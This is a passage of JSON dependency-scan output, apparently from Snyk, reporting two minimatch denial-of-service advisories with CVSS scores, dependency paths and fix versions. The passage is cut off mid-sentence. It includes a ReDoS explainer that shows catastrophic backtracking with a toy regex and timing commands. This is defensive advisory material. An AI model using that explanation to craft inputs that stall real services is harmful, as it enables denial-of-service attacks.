"insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmpack@9.1.3", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmpack@9.1.15", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "@npmcli/package-json@7.0.5", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/metavuln-calculator@9.0.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "pacote@21.4.0", "@npmcli/run-script@10.0.3", "node-gyp@12.2.0", "make-fetch-happen@15.0.4", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "pacote@21.5.1", "@npmcli/run-script@10.0.4", "node-gyp@12.4.0" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole 